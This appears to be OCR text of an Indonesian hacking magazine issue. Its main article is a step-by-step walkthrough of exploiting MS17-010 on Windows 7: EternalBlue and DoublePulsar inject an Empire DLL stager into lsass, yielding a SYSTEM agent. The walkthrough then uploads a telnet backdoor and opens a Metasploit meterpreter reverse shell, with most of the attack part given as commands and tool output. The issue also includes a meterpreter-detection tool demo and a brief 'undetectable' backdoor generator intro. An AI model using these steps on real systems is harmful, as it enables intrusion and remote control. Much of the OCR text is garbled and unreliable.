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Media pembelajaran hacking dan keamanan komputer

Pertama kali hadir di internet tanggal 5 Juni 2004 dalam bentuk website. Forum X-code
hadir pertama kali tahun 2005. Saat ini 14 tahun telah berlalu sejak media ini berdiri, apa saja

yang baru di media ini ?

X-code Pandawa 2018
Aplikasi untuk membangun router, server dan system security pada distro Ubuntu
Server. Aplikasi versi standard bisa didownload gratis di

http://xcodetraining.com/xcodepandawa.

Produk-produk X-code tahun 2018

Produk-produk aplikasi x-code hadir kembali. Produk-produknya bisa diakses gratis

https://github.com/kurniawandata.

Forum dan group X-code

Forum dan group adalah media interaksi antar member X-code.
Forum X-code :

Group X-code :

“What hackers do is figure out technology and experiment with it in
ways many people never imagined. They also have a strong desire to
share this information with others and to explain it to people whose

only qualification may be the desire to learn.”

Emmanuel Goldstein Dear Hacker: Letters to the Editor of 2600
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https://www.goodreads.com/author/show/1259517.Emmanuel_Goldstein
https://www.goodreads.com/work/quotes/13221936
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Apa dibalik diterbitkannya X-code Magazine x1? Jawabnya adalah semata
spontanitas, salah satunya karena X-code berumur 14 tahun.

Yogyafree X-code pada
tanggal 5 Juni 2018 berumur
14 tahun

xcode.or.id
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APA ARTI X-CODE 14 TAHUN BERDIRI

Aplikasi untuk membangun NAT, DHCP Server, access log, cache web, port for |
juga konfigurasinya di Ubuntu Server 18.04 LTS. http://xcodetraining.com;/xcc

0 75 commits ¥ 1 branch

Branch: master «

E kurniawandata Update xcoderouter.sh

| support Delete leases.py
] README.md Update README.md
) xcoderouter.sh Update xcoderouter.sh
ES README.md
xcodepandawarouter

X-code Pandawa Router for Ubuntu 18.04 LTS |

{><}xcobE

X-code baru adalah tentang spontanitas, melampaui permukaan dari ideologi itu sendiri untuk

masuk dalam inti ideologi itu sendiri.

Salam dunia hacker ©
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Eksploitasi remote pada SMB Windows 7

Cara eksploitasi pada celah keamanan SMB (MS17-010) pada teknik-teknik awal,

sebelum exploit seperti ini masuk di metasploit framework.

Teknik ini adalah teknik awal ketika seseorang ingin hack smb pada Windows 7,

skenarionya dibutuhkan 2 virtual machine.

Di sini penulis menggunakan 2 buah virtual untuk melakukan serangan remote.

1. Virtual Machine Kali linux (empire) :
2. Virtual Machine Windows 7 (fb.py, EternalBlue, dll) :
dan

(Python 2.6)

Di kali-linux

T
root@kalidata: /home/databr/Empire-master

File Edit View Search Terminal Help
:/home/databr/Empire-master# 1s

changelog downloads empire.debug 1ib README .md

data empire LastTask.psl LICENSE setup
:/home/databr/Empire-master# ./empir‘el

Ketik ./empire lalu enter


https://github.com/EmpireProject/Empire
https://github.com/misterch0c/shadowbroker
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download
https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download

root@kalidata: /home/databr/Empire-master
File Edit View Search Terminal Help

[Web] : https://www.PowerShellEmpire.com/ | [Twitter]: @harmj@y, @sixdu
adx3

\/

\
!
|

/
|
|
=

180 modules currently loaded
0 listeners currently active

1 agents currently active

(Empire) = listeners

(Empire: listeners) >

listeners

(Empire) > listeners
Empire: listeners) > options
istener Options:

Name equi Value Description

KillDate Date for the listener to exit (MM/dd/yyyy) .
Name Listener name.

DefaultLostLimit True 60 Number of missed checkins before exiting
StagingKey True 27618db0ObB6edaa7 fcB805516c852c889 Staging key for initial agent negotiation.
Type True native Listener type (native, pivot, hop, foreign, me

RedirectTarget False Listener target to redirect to for pivot/hop.
DefaultDelay True 5 Agent delay/reach back interval (in seconds) .
WorkingHours False Hours for the agent to operate (09:00-17:00).
Host True http://192.168.1.29:8080 Hostname/IP for staging.
CertPath False Certificate path for https listeners.
DefaultJitter True 0.0 Jitter in agent reachback interval (0.0-1.0).
DefaultProfile True /admin/get .php,/news.asp,/login/ Default communication profile for the agent.
process.jsp|Moz a/5.0 (Windows
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Port 8080 Port for the listener.

(Empire: listeners) >

Jika tidak ada yang aktif maka ketik options lalu enter




ethO: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.1.29 netmask 255.255.255.0 broadcast 192.168.1.255
inet6 feB80::a00:27ff:fe56:f729 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:56:f7:29 txqueuelen 1000 (Ethernet)
RX packets 1942 bytes 151302 (147.7 KiB)
RX errors 0 dropped @ overruns @ frame 0
TX packets 34 bytes 2465 (2.4 KiB)

Em TX errors @ dropped O overruns 0@ carrier @ collisions 0O

=0 flags=73<UP,LOOPBACK,RUNNING> mtu 65536

inet 127.0.0.1 netmask 255.0.0.0

inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen @ (Local Loopback)

RX packets 20 bytes 1200 (1.1 KiB)

RX errors @ dropped @ overruns @ frame 0 2
TX packets 20 bytes 1200 (1.1 KiB) e 18 axdi (Ml/dd/
TX errors 0 dropped O overruns @ carrier @ collisions O

is

ckins before exiti
ial agent negotiaft

:/home/databr/Empire-master# || e, pivot, hop, fol

K
N
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T
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redirect to for pi
C ck interval (in sd
WoinLigiioui s aiLs fuuls 1uil Liie ayei et to operate (09:00
Host http://192.168.1.29:8080 Hostname/IP for staging.
CertPath Certificate path for https listeners.
DefaultJitter 0.0 Jitter in agent reachback interval (0
DefaultProfile True /admin/get .php,/news.asp, /login/ Default communication profile for the
process.jsp|Mozilla/5.0 (Windows I
NT 6.1; WOW64; Trident/7.0;
rv:11.0) like Gecko
Port True 8080 Port for the listener.

Empire: listeners) > set Name win7
Empire: listeners) >

Ketik
Set DefaultJitter 0.5
Set DefaultDelay 10

execute




Empire: listeners) > usestager dll
Empire: stager/dll) > options

lame: DLL Launcher

Description:

Generate a PowerPick Reflective DLL to inject with

stager code.

Name Required Value

Listener
ProxyCreds
Proxy default

OutFile /tmp/launcher.dll
UserAgent default

Arch x64

StagerRetries 0

Empire: stager/dil) > |}
Ketik usestager dll
Ketik options lalu enter

Konfigurasi sesuaikan dengan target

Description

Listener to use.

Proxy credentials
([domain\]username:password) to use for
request (default, none, or other).

Proxy to use for request (default, none,
or other).

File to output dll to.

User-agent string to use for the staging
request (default, none, or other).
Architecture of the .dll to generate
(x64 or x86) .

Times for the stager to retry
connecting.

stager/dll) set Listener win7/

stager/dll) set Arch x86
stager/dll)
)

stager/dll execute

set StagerRetries 10

[*] Stager output written out to: /tmp/launcher.dll

(Empire: stager/dll) >
set Listener win7

set Arch x86

set StageRetries 10

execute



:/home/databr/Empire-master# cd /tmp
:/tmp# 1s

:launcher.dll

ssh-DCSm4x9gzpj9
systemd-private-d3fele765db24cfe85ch2bd185cfc3d9-colord.service-9sCGdz
systemd-private-d3fele765db24cfe85chb2bd185cfc3d9-rtkit-daemon.service-quVaZu
tracker-extract-files.0
' :/tmp# cp launcher.dll /var/www/html

:/tmp# service apache2 restart

/tmp# |j

cd /tmp
Is

cek apakah ada launcher.dll atau tidak? Jjika ada maka salin ke /var/www/html, caranya
cp launcher.dll /var/www/htmi

Jalankan apache server pada kali-linux

service apache2 restart



Di Windows 7

C:“~Python26>python fh.py

Verzion 3.5.1

Loading Plugins

Initializing Fuzzbunch v3.5.1

Adding Global Variables

Set ResourcesDir => D:A\DEZOPSDISKE-Resources
Set Color = True

Set ShovHiddenParameters = False

Set MHetworklimeout => 68

Set LogDir =2 D:~logs

Autorun OH

ImplantConfig Autorun List

A prompt confirm
1> execute

Exploit Autorun List

touch all
prompt confirm
execute

cd\python26
python fb.py

BN Ch\Windows\system3Z2cmd.exe - python fh.py
1> prompt confirm
2} execute
[+] Set FhStorage =»> C:“PuthonZ6“storage
[#] Retargetting Session
Default Target IP Address [1]

Default GCallback IF Address [i
Use Redirection [yes] = no

192.168.1 .58

Base Log directory [D:slogs]l =
[#] Checking D:~logs for projects
Project

Create a Mew Project

Project [A]1 - @
Mew Project Mame - coba

192.168.1.233

Set target log directory to *D:vlogsscoba*~z192.168.1.58'7 [Ye=sl

Initializing Glohal State
Set Targetlp => 192.168.1.58
Set CallbackIp => 192.168.1.233

Redirection OFF
Set LogDir = D:-“logs“coba~z192_168.1_58
Set Project =* cobha



Masukkan seperti di atas untuk target ip address, lalu default callback ip address (ip vm

windows 7).

Sisanya ikuti seperti di atas...

[+]
[+]

Redirection OFF
Set LogDir = D:~logs“coba“=172.168.1.58
Set Project = coba

fh > use Eternalblue

Entering Plugin Context :=: Eternalblue
Applying Global Uariables

Set Metworklimeout => 6@

Set TargetIp => 172.168.1 .58

Applying Sesszion Parameters
Running Exploit Touches

Enter Prompt Mode :-: Eternalblue

Module: Eternalblue

Jalue

MetworkTl imeout

TargetIp 122.168.1.58
TargetPort 445
lerifyTarget True
erifyBackdoor True
MaxExploitAttempts 3
GroomAllocations 12

Target WIN?ZKBRZ

[=]

use Eternalblue, sisanya ikuti seperti di atas, sesuaikan set Targetlp dengan ip target

plugin variables are valid
Prompt For Uariable Settings? [Yes] :

MetworkT imeout :=: Timeout for hlocking network calls Cin seconds>. ﬂﬁe o B
or no timeout.

MetworkT imeout [6HE] :




Networklimeout [GA] :

[#]1 TargetlIp :: Target IP Address
TargetIp [192_168.1.581 =

[#]1 TargetPort :: Port used by the SMB service for exploit connection
TargetPort [445]1 :

[#]1 WUerifuyTarget :: Ualidate the SMB string from target against the target sele
ted hefore exploitation.

DerifyTarget [Truel :

[#]1 WUerifyBackdoor :: Ualidate the presence of the DOUBLE PULSAR bhackdoor hefor
g throwing. This option must be enabled for multiple exploit attempts.

VerifyBackdoor [Truel :

[#]1 HMaxExploitAttempts :: Number of times to attempt the exploit and groom. Dis
bled for RP-2K3.

HaxExploitAttempts [31 =

[#]1] GroomAllocations :: Number of large SMBu2 buffers <Uizta+? or SessionSetup
llocations (HK-2K3>» to do.

GroomAllocations [12] :
[#] Target :=: Operating System, Service Pack, and Architecture of target 05

A» ®P Windows XP 32-Bit All Service Packs
=13 WIN72ZK8R2 Windows ¥ and 2888 R2 32-Bit and 64-Bit All Service Packs

Target [11 = 1

Untuk target pada OS disesuaikan



Target [11 = 1

Preparing to Execute Eternalblue
[#] Mode :: Delivery mechanism

=A> DAME Forward deployment via DARINGHMEOPHYTE
1> FB Traditional deployment from within FUZZBUNCH

Mode [B]1 = 1
[+] Run Mode: FB

This will execute locally like traditional Fuzzbunch plugins. Are youn sure?
ysn? [Yesl = v
Redirection OFF

Configure Plugin Local Tunnels
Local Tunnel — local-tunnel-1
Destination IP [192.168.1.581 :
Destination Port [4451 :

({TCP>» Local 122.168.1.58:445

Configure Plugin Remote Tunnels

Jalue

etwork] imeout 5]
argetIp 122 168.1.58
argetPort 445
erifyTarget True
erifyBackdoor grue

12

WIN72KER2

Execute Plugin? [Yes] :

Pada Mode : Delivery mechanism pilih 1, sisanya seperti di atas.



Execute Plugin? [Yesz1 :

Executing Plugin

Connecting to target for exploitation.

[+]1 Connection establizshed for exploitation.

Pinging backdoor...

[+]1 Backdoor not installed. game on.

Target 08 selected valid for 05 indicated by SHB reply

CORE raw buffer dump (39 hytes):

P73 28 37 28 55 6c P4 67 6d 61 UWindows 7 Ultima

te P61l Service
Pack 1.

Building exploit buffer

Sending all but last fragment of exploit packet

Sending SMB Echo request

Good reply from SMB Echo request

Starting non—paged pool grooming

[+]1 Sending SMBu2 buffers h

[+]1 Sending large SMBul buffer. DONE.

[+]1 Sending final 3MBu2 huffers

[+]1 Closing SMBvl connection creating free hole adjacent to SMBuv2 buffer.
Sending SMB Echo request

Good reply from SMB Echo request

Sending last fragment of exploit packet?

DOHE.

Receiving reszponse from exploit packet

[+]1 ETERMALBLUE overwrite completed successfully (BxCOBAAAAN*
Sending egy to corrupted connection.

Triggering free of corrupted buffer.

Pinging backdoor...

[+]1 Backdoor returned code: 18 — Success!?

[+1 Ping returned Target architecture: x86 (32-hit>

[+]1 Backdoor installed

#*#] CORE sent serialized output hloh <2 bytes>:
x000AABEA B8 OA

#] Received output parameters from CORE

+] Eternalblue Succeeded

fh Special <Eternalblue? > wuse Douhlepulzar

Entering Plugin Context :: Doublepunlsar
[+]1 Applvying Global Uariables
[+]1 Set MetworkIimeout =2 60
[+]1 Set TargetIp => 192.168.1.58

[+]1 Applving Session Parameters
Enter Prompt Mode :: Doublepulsar

Module: Doublepulsar

MetworkT imeout

TargetIp 1?2.168.1.58
TargetPort 445
OutputFile

Protocol SHB
Architecture xB6

Function OutputInstall

Plugin Variahles are MOT Ualid
Prompt For Uariahle Settings?

use Doublepulsar.



Architecture »B6
Function OutputInstall

Plugin Uariables are NOT Ualid
Prompt For Uariable Setting=s? [Yesl :

MetworkT imeout :=: Timeout for blocking network calls €in seconds>. Use -1
no timeout.

Metworklimeout [GA] =

TargetIp :=: Target IP Address
TargetIp [1922.168.1.581 =

TargetPort :=: Port used by the Double Pulsar back door
TargetPort [4451]1 :

Protocol :: Protocol for the backdoor to speak

= SMB Ring @ SMB <TCP 445%) backdoor
1> RDP Ring @ RDP <TCP 338?> backdoor

Protocol [B] - A
[#]1 Architecture :: Architecture of the target 085

= =86 xB6 32-hits
1> =64 x6b4 b64-hits

Architecture [@B]1 = A

[#]1 Function :: Operation for hackdoor to perform

OutputInstall Only output the install shellcode to a hinary file on d

Ping Test for presence of hackdoor

RunDLL Use an APC to inject a DLL into a wser mode process.
RBunfShellcode Bun raw shellcode

Uninstall Remove's bhackdoor from system

Untuk protocol pilih SMB, untuk architecture disesuaikan dengan OS target, lainnya ikuti

seperti di atas.



BN C\Windows\systemn32\cmd.exe - python fh.py =n| @

OutputInstall Only output the install shellcode to a hinary file on d

1> Ping Test for presence of hackdoor

2> RunDLL Use an APC to inject a DLL into a wser mode process.
3> RunShellcode RBun raw shellcode

4> Uninstall Remove’s bhackdoor from system

Function [@] 1
Set Function = Ping

Preparing to Execute Doublepulzar
Redirection OFF

Configure Plugin Local Tunnels
Local Tunnel — local-tunnel—-1
Destination IP [192.168.1.581 =
Destination Powrt [445]1 =

CTCP» Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels

odule: Doublepulsar

etworkT imeout
argetlp 192 .168.1.58
argetPort 445

SHE

»B6

Ping

Execute Plugin? [Yes1 :

Executing Plugin

Selected Protocol SHE

Connecting to target...

Connected to target. pinging backdoor...
[+] chkduur returned code: 1@ — Successt

m

Ikuti seperti di atas.



[+] Local Tunnel - local-tunnel—-1
Destination IP [192.168.1.581 =
Destination Port [4451 =

[+1 <TCP> Local 192.168.1.58:445

[+] Configure Plugin Remote Tunnels
ocdule: Doublepulszar

Jalue

etworkl imeout

argetlp 192.168.1 .58
argetPort 445

rotocol SHMB
rchitecture 86

unction Ping

Execute Plugin? [Yes]1 :
Executing Plugin
Selected Protocol SHB
Connecting to target...
Connected to target, pinging bhackdoor... k
[+] Backdoor returned code: 18 — Successt
[+]1 Ping returned Target architecture: x86 <32-hit> — HOR Key: Bx15CAT7D

SHB Connection string is: Windows 7 Ultimate 7681 Service Pack 1
Target 08 is: 7 x8B6
Target SP is:
[+] Backdoor installed
[+]1 Command completed successfully
Doublepulsar Succeeded

Ikuti seperti di atas.

2 hitp://182.168.1.28/launcher.dll

Download file launcher.dll yang sudah dibuat di kali linux ke Windows 7.



{ |uv| & » windows7spl » Downloads - | “’f| Search Doy
Organize » 7] Open with... Share with - Mew folder
< Favorites Mame Date modified Type
| & Iauncher.dll : L L. e I L .-':'G.Flplil:atil:ln £
7 Libraries Open with...
dﬁ Music Share with k
[=] Pictures Restore previcus versions

E Videos

#% Homegroup

Lol Computer

Send to k

Create shaortcut

Delete
ihﬂ Metwork
Rename
Properties
Copy.
[m= R
vaJ b Computer » Local Disk (D3] » V|""f| Search Local Disk (D:)
Organize « [m7] Open with... Mew folder =~ [
< Favorites MNarme Date modified Type Size
W logs 4/22/2017 8:38 AM  File folder
. Libraries %) launcher.dll 4/22/3017 8:52 AM  Application extens... 104 KB
Js PMusic
=] Pictures Paste di sini
B2 videos

i@ Homegreup

18 Computer

Paste di drive D.



il

B CWindows\system32iemd.exe - python fhopy

fh Pavload <Doublepulsar> > set Function RunDLL

[+] Set Function => RunDLL

fh Pavload <Doublepulsar> > set D110r»dinal 5

[+]1 Set D110wdinal => 5

fh Pavload <Doublepulsar> > set Dllpayload D:xJlawuncher.dll
[+] Set Dllpavload => D:~launcher.dll

fh Pavload <Doublepulsar> > execute

Preparing to Execute Doublepulsar
[#]1 Redirection OFF

[+] Configure Plugin Local Tunnels

[+] Local Tunnel - local—-tunnel-1
Destination IP [192.168.1.581 :
Destination Port [445]1 :

[+]1 <TCP> Local 1%92.168.1.58:-445

[+] Configure Plugin Hemote Tunnels

Module: Doublepulsar

UValue

MetworkT imeout

Targetlp 192 .168.1 .58
TargetPort 445

D11Pavload D:x»launcher.dll
D110rdinal L

ProcezsMame lzass .exe
ProcessCommandLine

Protocol SMB
Architecture »xB6

Function RunDLL

Execute Plugin? [Yes1 :
Executing Plugin
Selected Protocol SMB
Connecting to target...
Connected to target, pinging bhackdoor...
[+]1 Backdoor returned code: 18 — Success?

Ikuti seperti di atas, jika dipasang pada direktori lain maka Dllpayload disesuaikan.



ERE = AVFITUYY Iy

[.]1 Connecting to target...

[+]1 Connected to target.

ol W) I R ) ) N Y e iy I_l_'r'LIIUII ILlul_l_'r'

[+]1 Backdoor returned code: 18

[+]1 Ping returned Target architecture: x8B6 <32-hit> — HOR Hevy: B

SMBE Connection string is:
2 dis: 7 «86

Target O
Target S
[+1
[+1
[.1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1
[+1

P is:z 1

Backdoor installed
DLL built

Sending shellcode

Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr
Backdoor
Backdoowr

returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned
returned

Command completed
[+] Doublepulsar Succeeded

h Payload ¢(Doubhlepulzar) >

Exploit dijalankan.

*] Stager output written out to

Empire: stager/dll) > [+] Initial agen{t CBKN23FSZXNZL4ZX tiyrom 192.168.1.58 now active

hgents

*] Active agents:

DZCRRKZREX IV YA
03:20:35

CBKN23FSZXNZL4Z
11:59:18

Empire: agents)

Ketik agents.

Internal IP

C 192.168.1.58

X 1192.168.1.58

>

Machine Name

WINDOWS? -PC

WINDOWS7 -PC

Hindows

to injec
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18
code: 1@
code: 18 —
successf

/tmp/launcher.dll

pinging backdoowr...

— Buccess?

? Ultimate Y681 Service Pack 1

t DLL

— Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Success?t
Success?
Successt

ully

Username

*WORKGROUP\SYSTEM

*WORKGROUPA\SYSTEM

I

Process

1sass/508

lsass/500

10/0.5

16/0.5

2017-04

2017-04




CBKN23FSZXNZLAZX 192.168.1.58 WINDOWS7 -PC *WORKGROUP\SYSTEM  1sass/500 1
1:59:18

: agents) > interact CBKN23FSZXNZL4ZX
) > dir
) >
length Name

0409
AdvancedInstallers
ar-SA
bg-BG
Boot
catroot
catroot2
Codelntegrity
com
config
cs-CZ

) > sysinfo
Empire: ) >
istener: http://192.168.1.29:8080
IP: 192.168.1.58

sername: WORKGROUP\SYSTEM
ostname: WINDOWS7 -PC
: Microsoft Windows 7 Ultimate
1
1sass
500
PSVersion: 2

sysinfo.



info

[*] Agent info:

ps_version 2

old uris None

jitter 0.5

Servers None

internal_ip 192.168.1.58

working_hours

session key M%={12KsPRcY~1/ 6BGO!gAXH) I#($@ed
children None

checkin time 2017-04-22 11:55:43

hostname WINDOWS7 -PC

delay 10

uris /admin/get .php, /news.asp, /login/process.jsp
username WORKGROUP\SYSTEM

kill date

parent None

process name lsass

listener http://192.168.1.29:8080
sessionlID CBKN23FSZXNZL4ZX

Empire: > shell cd\
Empire: > dir
Empire:

astWriteTime

1/31/2013 1:13:00 AM $Recycle.Bin
11/16/2014 7:11:06 AM ALLMediaServer
:hD= data

V/13/2009 9:53:55 PM Documents and Settings
11/16/2014 7:11:06 AM freefloat
11/16/2014 7:11:06 AM pcman
V/13/2009 7:37:05 PM PerflLogs
11/16/2014 2:34:21 PM Program Files
V/13/2009 9:53:55 PM ProgramData
11/16/2014 6:54:35 AM Python27
:06: AM Recovery
AM System Volume Information
AM Users
AM Windows
AM xampp
PM autoexec .bat
z PM config.sys
=g dfinstall.log

10.SYS

MSDOS .SYS

FNNNOORF 00—




:/home# wget http://192.168.1.9/telnet2.exe
--2017-04-22 12:10:58-- http://192.168.1.9/telnet2.exe
Connecting to 192.168.1.9:80... connected.
HTTP request sent, awaiting response... 200 0K
Length: 6688 (6.5K) [application/x-msdownload]
Saving to: ‘telnet2.exe’

telnet2.exe 100%[ >] 6.53K --.-KB/s in Os

2017-04-22 12:10:58 (356 MB/s) - ‘telnet2.exe’ saved [6688/6688]

: /home# l

16/2014 7:11:06 AM freefloatftpserver-list |
/2012 3:44:40 AM 22749412 ImmunityDebugger 1 85 se
2/2017 9:10:20 AM 1234120 winrar.exe

ectory: C:\freefloat

LastWriteTime Length Name

11/16/2014 7:11 AM freefloat ftpserver-list bof
8/8/2012  3:44 AM 22749412 ImmunityDebugger 1 85 setup.exe
4/22/2017 9:10 AM 1234120 winrar.exe

LastWriteTime Length Name

11/16/2014 freefloatftpserver-list bof
8/8/2012 3:44 AM 22749412 ImmunityDebugger 1 85 setup.exe
4/22/2017 9:10 AM 1234120 winrar.exe

(Empire: ) > upload /home/telnet2.exe
(Empire: [ o B
) >
FLastWriteTime Name
11/16/2014 7:11:06 AM freefloat ftpserver-list bof
PB8/8/2012 3:44:40 AM 22749412 ImmunityDebugger 1 85 setup.exe
4/22/2017 9:11:53 AM 6688 telnet2.exe
4/22/2017 9:10:20 AM 1234120 winrar.exe

telnet2.exe d upload dari /home/telnet2.exe ke komputer target

C:\testing

tupload /home/telnet2.exe

(Empire: ) > dir

(Empire: ) > u

LastWriteTime Length Name

4/22/2017 9:36:10 AM 6688 telnet2.
shell c:\testing\telnet2.exe
(Empire: ) >

Hasilnya seperti di atas




—

Ketik
telnet 192.168.1.58 5000 di PC attacker, jika menggunakan Windows 10 maka aktifkan dulu
telnet client atau menggunakan putty.

Dari tutorial sepanjang ini, apakah ada cara yang lebih mudah? Ada, yaitu dengan
menggunakan Metasploit Framework, yang di mana tidak hanya Windows 7 yang dapat dihack
tapi juga Windows Server 2008 R2, selain itu juga bisa Windows 8.1/ 10, Server 2012 / Server
2016 tapi dengan kriteria tertentu.

Materi ini ada di X-code Training dengan modul 1700 halaman lebih, modulnya hanya bisa
didapat dengan melalui training. ( / )s
meskipun ada materinya tapi semuanya hanya bisa berjalan selama Windows tersebut belum
diupdate (

)

Oleh Kurniawan

E-mail :
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http://xcodetraining.com/
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
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Meterpreter Payload Detection IDS/IPS

Tool untuk mendeteksi payload meterpreter di memory

Download :

Setelah di download lalu extract ke windows..

ﬂ Windows Media Center LLiLg 201 1
- r— 12/3/2014 9!
Calculator 116/2014 7
Documents 11/16/2014 7
Sticlq,r Motes 7/13,/2009 7+
N Pictures 11/16/2014 2
% Snipping Tool 11/16/2014
Music o
s | . 1/31/2013 1
(=5 Paint . _
e 2/8/2018 4:5:
‘ Commane F'rl:lrr| ' 1/31/2013 2.
e 1/31/2013 12
%{5 Remote Des q 2/8/2018 4:5:
" Pin to Taskbar 2/8/2018 4:3
Q: Magnifier _ _
Pin to Start Penu Printers
_'lqj‘ Solitaire Remove fram this list
Properties
P AllPrograms
Search programs and files 0 |

elle ]l

Start lalu pilih command prompt lalu klik kanan, pilih Run as administrator.


https://github.com/DamonMohammadbagher/Meterpreter_Payload_Detection/blob/master/Release_v1.0.0.5/Meterpreter_Payload_Detection_v1.0.0.5.zip
https://github.com/DamonMohammadbagher/Meterpreter_Payload_Detection/blob/master/Release_v1.0.0.5/Meterpreter_Payload_Detection_v1.0.0.5.zip

H2 /882818 B@4:56 AM
H2 /882018 B4:56 AM
2-.19728016 A3:35 PH 27246 Meterpreter_Pavload_Detection .o

219728016 B3:35 PH 17,9220 Meterpreter_Payload_Detection.exe
2192816 BA3:43 PHM 0L Releaze vl . B.8.5_txt

3 Fileis> L7.521 byres
2 Divd=)» 17.376.358.488 hytes free

svfisfdetect *Meterpreter_Pavload_Detection

Meterpreter Payload Detection
IDE-IPS Uersion: 1.8.8.5
Console version Published by Damon Mohammadbagher

API code and Meterpreter Signature by Rohan Vazarkar, David Bitner
2-8-2018 5:17:41 AH Started time
IDS Mode only

bcanning 36 process

Program Meterpreter_Payload_Detection dijalankan..

AS:B6:50.8217072 : 4876 conhost is OK
PL:B6:50.88179236 : 2736 cmd is QK

Meterpreter Payload Detection
IDS-IPS Version: 1.A.08.5
Console version Published by Damon Mohammadbagher

API code and Meterpreter Signature hy Rohan Uazarkar, David Bitner
28,2018 5:87:480 AM Started time
IDS Mode only

Ecanning 39 process




root@kalidata: ~ (- 0 )

File Edit View Search Terminal Help
exploit( ) > exploit

[*] Started reverse TCP handler on 192.168.1.29:4444
[*] Generating Eternalblue XML data

[*] Generating Doublepulsar XML data

[*] Generating payload DLL for Doublepulsar

[*] Writing DLL in /root/.wine/drive c/eternalll.dll

[*] Launching Eternalblue...

[+] Pwned! Eternalblue success!

[*] Launching Doublepulsar...

[*] Sending stage (957487 bytes) to 192.168.1.58

[*] Meterpreter session 1 opened (192.168.1.29:4444 -> 192.168.1.58:49223) at 20
18-02-07 17:05:32 -0500

[+] Remote code executed... 3... 2... 1...

meterpreter > shell

Process 2736 created.

Channel 1 created.

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>exit
exit
meterpreter > sysinfo

Eksploitasi remote SMB Windows 7 dengan menggunakan payload meterpreter..



BX Administrator Command Prompt - Meterpreter_Payload_Detection = || = ER

Infected Process path : C:sWindowsszustemdZ2rundlldZ._exe
A5 :85:42_7638448 : 984 UmiPruSE iz OK

Saat meterpreter aktif, maka terdeteksi meterpreter pada tool tersebut..



Infected FProcess path @ GC:ixWindowsssystem32srundll3Z.exe

Infeksi proses ada di file rundll32 dengan PID 2796..

C:“Users windows?>taskkill ~PFID 2796

ERROR: The process with PID 2796 could not he terminated.
Reason: This process can only be terminated forcefully <{with ~F option).

FSuserstawindows?>taskkill #F ~PID 27%6
ISUCCESS: The process with PID 2796 has been terminated.

C:sUsersswindows?

_

Untuk mematikan proses meterpreter ketik di command prompt : tasklist /F /PID 2796 |alu

enter..



C:\Windows\system32>exit

exit

meterpreter > sysinfo

Computer : WINDOWS7 -PC

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en_US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter : x86/win32

meterpreter > sysinfo

Computer : WINDOWS7 -PC

0S : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86

System Language : en US

Domain : WORKGROUP

Logged On Users : 2

Meterpreter 1 W8~ e

neLerpreter >

ﬁ*] 192.168.1.58 - Meterpreter session 1 closed. Reason: Died

—

Hasilnya meterpreter di target berhenti

smefdetéct *Meterpreter_Pavload_Detection IPS

Meterpreter Pavload Detection

IDSE-IPS Uersion: 1.8.8.5

Console version Publizhed by Damon Mohammadbagher

API _cnde and Meterpreter Signature by Rohan Vazarkar, David Bitner
/7872018 Lo AM Started time

IPS Mode [OM1

FCannlnyg o>o pEROCESES

Contoh penggunaan IPS pada program Meterpreter Payload Detection




AL =18:47_ 1817824 A Idle di= OK
AS-18:48.1131568 1748 Meterpreter_Pavload_Detection is OK

Process Thread ID: 1888 with StartAddres=s: B Killed

Infected Process path @ CoxWindowsssystem32srundll3Z . exe
AS =19 :45 7568432 : 3748 UmiPrvZ2E 1= OK

Meterpreter Payload Detection

IDE-IPE Uersion: 1.8.8.5

Conzole verszion Published by Damon Mohammadbagher

APl code and Meterpreter Signature by Rohan Vazarkar,. David Bitner
2-8-2018 5:19:47 AM Started time

IPE Mode [OM]

fcanning 38 process

Ketika eksploitasi dengan payload meterpreter terjadi, di program mendeteksinya dan
memberhentikan payload secara otomatis



exploit( ) > exploit

Started reverse TCP handler on 192.168.1.29:4444
Generating Eternalblue XML data

Generating Doublepulsar XML data

Generating payload DLL for Doublepulsar

Writing DLL in /root/.wine/drive c/eternalll.dll
Launching Eternalblue...

Backdoor is already installed

Launching Doublepulsar...

Sending stage (957487 bytes) to 192.168.1.58
Meterpreter session 2 opened (192.168.1.29:4444 -> 192.168.1.58:49228) at
Remote code executed... 3... 2... 1...

Error running command sysinfo: Rex::TimeoutError Operation timed out.
eterpreter > shell

Reason: Died

sf exploit

Hasilnya seperti di atas

Oleh Kurniawan

E-mail :
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Winpayloads untuk membangun backdoor

pada Windows 10

Undetectable Windows Payload Generation with extras Running on Python2.7

Download :

hon WinPa

1:

s S 3 Y -

Main Menu
[ (b))

stager lalu pilih r lalu dapat generate


